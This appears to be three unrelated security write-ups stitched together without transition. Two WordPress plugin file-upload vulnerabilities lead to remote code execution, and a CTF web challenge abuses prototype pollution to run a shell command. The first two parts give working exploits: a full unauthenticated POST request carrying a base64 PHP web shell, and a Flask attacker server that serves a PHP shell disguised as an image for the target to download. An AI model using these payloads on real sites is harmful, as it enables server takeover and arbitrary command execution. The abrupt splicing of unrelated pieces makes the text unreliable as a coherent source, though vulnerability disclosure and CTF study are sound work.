This function is triggered through the staggs_get_configuration_form_urls_ajax() AJAX handler, which is registered for both authenticated and unauthenticated users via the wp_ajax_ and wp_ajax_nopriv_ hooks. This means the vulnerability can be exploited remotely without authentication.

The staggs_get_configuration_form_urls_ajax() function handles various POST parameters, including image_id and image. When an image is provided, it directly calls store_final_product_image():

if ( isset( $_POST['image_id'] ) ) {
    $image_name = staggs_sanitize_title( get_the_title( $_POST['image_id'] ) );
    $image_url  = store_final_product_image( $image_name, $_POST['image'], $_POST['values'], true );
    $response['image_url'] = $image_url;
}

Inside store_final_product_image(), the image data is expected to be in base64 format with a data:image/...;base64,... prefix. The MIME type is extracted via regex and used directly as the file extension:

if ( preg_match( '/^data:image\/(.*);base64,/', $data, $type ) ) {
    $data = substr( $data, strpos($data, ',') + 1 );
    $type = strtolower( $type[1] ); // ← extension is fully user-controlled
    $data = base64_decode($data);
    ...
    $filename = $imagename . '.' . $type;
    file_put_contents( $save_path . "/{$filename}", $data );
}

There is no validation of the actual file type, no extension whitelist, and the decoded data is blindly written to disk. This makes it possible to send a payload like data:image//shell.php;base64,... and have the file saved directly to /wp-content/uploads/staggs/shell.php.

To demonstrate the issue, I created a simple PHP backdoor:

<?php system($_GET['cmd']); ?>

This code, once base64-encoded, was used in the following HTTP POST request to upload the file via the vulnerable AJAX endpoint:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

action=staggs_get_configuration_form_urls&contents={}&image_id=test&image=data:image//test.php;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2bIA%3d%3d

The base64 string decodes to the PHP code shown above.

After sending the request, the file is saved at:

http://example.com/wp-content/uploads/staggs/test.php

At this point, it is possible to achieve Remote Code Execution (RCE) by accessing the file with a cmd parameter, such as:

http://example.com/wp-content/uploads/staggs/test.php?cmd=id

This exploit works because:

• the file extension is derived from the user-supplied MIME type,
• there is no verification of the decoded file content,
• there is no restriction on dangerous extensions (like .php),
• and the file is saved in a web-accessible directory.

Arbitrary File Upload via External Image URL and Improper Content-Type Handling

While analyzing the user profile handling mechanism of a WordPress plugin, I discovered a vulnerability that allows an attacker to upload arbitrary files to the server simply by providing a crafted external URL. This flaw originates from a function responsible for downloading and storing avatar images set by users when updating their profile. The vulnerability is exploitable by any authenticated user who has access to the profile update page (/wp-admin/profile.php), which includes by default all logged…

The plugin adds a custom field to the profile form where users can specify a remote image URL (avatar_url). When the form is submitted, the plugin processes the URL using the vulnerable function save_social_avatar(), which attempts to download and save the remote resource as the user’s new avatar image.

Let’s walk through the vulnerable function:

private function save_social_avatar( $url = NULL, $name = 'avatar' ) {
    
    $url = stripslashes( $url );
    if ( ! filter_var( $url, FILTER_VALIDATE_URL ) ) {
        return false;
    }
    if ( empty( $name ) ) {
        $name = basename( $url );
    }

    $dir = wp_upload_dir();

    try {
        $image = wp_remote_get( $url, array( 'timeout' => 15 ) );
        if ( ! is_wp_error( $image ) && isset( $image['response']['code'] ) && 200 === $image['response']['code'] ) {
            
            $image_content = wp_remote_retrieve_body( $image );
            $image_type = isset( $image['headers'] ) && isset( $image['headers']['content-type'] ) ? $image['headers']['content-type'] : '';
            $image_type_parts = array();
            $extension = '';

            if ( $image_type ) {
                $image_type_parts = explode( '/', $image_type );
                $extension = $image_type_parts[1];
            }

            if ( ! is_string( $image_content ) || empty( $image_content ) ) {
                return false;
            }

            if ( ! is_dir( $dir['basedir'] . '/[REDACTED]' ) ) {
                wp_mkdir_p( $dir['basedir'] . '/[REDACTED]' );
            }

            $save = file_put_contents( $dir['basedir'] . '/[REDACTED]/' . $name . '.' . $extension, $image_content );
            if ( ! $save ) {
                return false;
            }

            return $dir['baseurl'] . '/[REDACTED]/' . $name . '.' . $extension;
        }

        return false;

    } catch ( Exception $e ) {
        return false;
    }
}

This function accepts a user-provided $url, which is fetched using wp_remote_get(). If the response is successful, the body of the response is retrieved and stored as a file on disk. The filename is constructed using the original basename of the URL and the file extension is determined based on the Content-Type header of the remote response. This introduces a critical flaw: the attacker controls both the contents of the file and the extension, via the remote server.

There is no verification of the actual content type, no restriction on allowed MIME types, and no server-side validation of the file contents. As a result, an attacker can host a malicious server and serve a file like this:

<?php system($_GET['cmd']); ?>

…along with a Content-Type: image/php header. Since the function blindly splits the content type and extracts the second part as the extension (php), the file will be saved as something like:

/wp-content/uploads/[REDACTED]/avatar.php

To test this, I hosted a minimal Flask server with the following code:

from flask import Flask, Response

app = Flask(__name__)

@app.route('/testimage.png', methods=['GET'])
def test_image():
    response = Response("<?php system($_GET['cmd']); ?>")
    response.headers["Content-Type"] = "image/php"
    return response

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=80)

Then I updated the avatar field in the WordPress profile form with the following URL:

http://<attacker-server>/testimage.png

Once the profile was saved, the plugin downloaded the file, interpreted the Content-Type: image/php, and wrote the PHP payload with a .php extension in the uploads folder. The result was a web-accessible file that could be used to execute arbitrary system commands via a simple request like:

http://target-site.com/wp-content/uploads/[REDACTED]/avatar.php?cmd=id

This effectively results in Remote Code Execution via a file upload vector, achievable from a low-privileged authenticated user context. The vulnerability exists due to a lack of MIME validation, unfiltered reliance on the Content-Type header, and the use of uncontrolled input for determining file extensions.

Challenge category : web
Description :

Tired of getting your corporate mergers blocked by the FTC? Good news! Just give us your corporate information and let our unpaid interns do the work!

By Samintell (@samintell on discord)

The challenge is a simple webapp written in nodejs. SOURCE At first glance it is immediately clear (also from the title) that the app merges objects (called “companies”), analyzing the source we see that there are 2 endpoints:

/api/makeCompany
/api/absorbCompany/:cid

Let’s try to understand how the app works : when we create a company (without the “absorb” flag) it creates an object with the values and attributes that we gave as input

The snippet of code that manages this endpoint is this:

app.post('/api/makeCompany', function (req, res) {
  if (!req.session.init) {
    res.end("invalid session");
    return;
  }
  let data = req.body;
  if (data.attributes === undefined || data.values === undefined ||
    !Array.isArray(data.attributes) || !Array.isArray(data.values)) {
    res.end('attributes and values are incorrectly set');
    return;
  }
  
  let cNum = userCompanies[req.session.uid].length;
  let cObj = new Object();
  for (let j = 0; j < Math.min(data.attributes.length, data.values.length); j++) {
    if (data.attributes[j] != '' && data.attributes[j] != null) {
      cObj[data.attributes[j]] = data.values[j];
    }
    
  }
  cObj.cid = cNum;
  userCompanies[req.session.uid][cNum] = cObj;

  res.end(cNum + "");
})

instead when we create a company with the “absorb” flag by inserting the CID of another previously created company, it merges the two companies into a single object

As we notice from the response in Burp there are parameters cmd , stdout, stderr , so let’s take a look at the source , in the route app.post('/api/absorbCompany/:cid', function (req, res) , we notice that a child process is started merger.js :

function isObject(obj) {
    return typeof obj === 'function' || typeof obj === 'object';
}

var secret = {}

const {exec} = require('child_process');

process.on('message', function (m) {
    let data = m.data;
    let orig = m.orig;
    for (let k = 0; k < Math.min(data.attributes.length, data.values.length); k++) {

        if (!(orig[data.attributes[k]] === undefined) && isObject(orig[data.attributes[k]]) && isObject(data.values[k])) {
            for (const key in data.values[k]) {
                orig[data.attributes[k]][key] = data.values[k][key];
            }
        } else if (!(orig[data.attributes[k]] === undefined) && Array.isArray(orig[data.attributes[k]]) && Array.isArray(data.values[k])) {
            orig[data.attributes[k]] = orig[data.attributes[k]].concat(data.values[k]);
        } else {
            orig[data.attributes[k]] = data.values[k];
        }
    }
    cmd = "./merger.sh";

    if (secret.cmd != null) {
        cmd = secret.cmd;
    }

    
    var test = exec(cmd, (err, stdout, stderr) => {
        retObj = {};
        retObj['merged'] = orig;
        retObj['err'] = err;
        retObj['stdout'] = stdout;
        retObj['stderr'] = stderr;
        process.send(retObj);
    });
    console.log(test);
});

In this case the goal of the challenge is “edit” (pollute) the secret.cmd with a os command like cat ./flag.txt , to do this we need to understand first how prototype pollution works (PortSwigger Docs , Hacktricks Docs)

We added some console.log() for debugging purpose , to understand how our input is processed during the execution :

function isObject(obj) {
    return typeof obj === 'function' || typeof obj === 'object';
}

var secret = {}

const {exec} = require('child_process');

process.on('message', function (m) {
    console.log("\n\n =========NEW REQUEST MERGE============== \n\n")
    let data = m.data; // data: { attributes: [ '__proto__' ], values: [ [Object] ] }
    let orig = m.orig; // orig: { BBBB: 'BBBB', cid: 1 }
    console.log("\n Print data object: \n",data,"\nPrint orig object\n",orig)
    for (let k = 0; k < Math.min(data.attributes.length, data.values.length); k++) {
        
        if (!(orig[data.attributes[k]] === undefined) && isObject(orig[data.attributes[k]]) && isObject(data.values[k])) {
            console.log("Inside first IF : orig[data.attributes[k]] = ",orig[data.attributes[k]])
            
            for (const key in data.values[k]) {
            
                console.log(`\n Inside FOR :  \n\tkey = ${key} \n\t data.values[k] = ${data.values[k]} `)
            
                orig[data.attributes[k]][key] = data.values[k][key];
                console.log(`\norig[${data.attributes[k]}][${key}] = data.values[${k}][${key}]\n`)
            }
        } else if (!(orig[data.attributes[k]] === undefined) && Array.isArray(orig[data.attributes[k]]) && Array.isArray(data.values[k])) {
            
            orig[data.attributes[k]] = orig[data.attributes[k]].concat(data.values[k]);
        } else {
            
            orig[data.attributes[k]] = data.values[k];
        }
    }
    cmd = "./merger.sh";

    if (secret.cmd != null) {
        cmd = secret.cmd;
    }

    
    var test = exec(cmd, (err, stdout, stderr) => {
        retObj = {};
        retObj['merged'] = orig;
        retObj['err'] = err;
        retObj['stdout'] = stdout;
        retObj['stderr'] = stderr;
        process.send(retObj);
    });
    //console.log(test);
});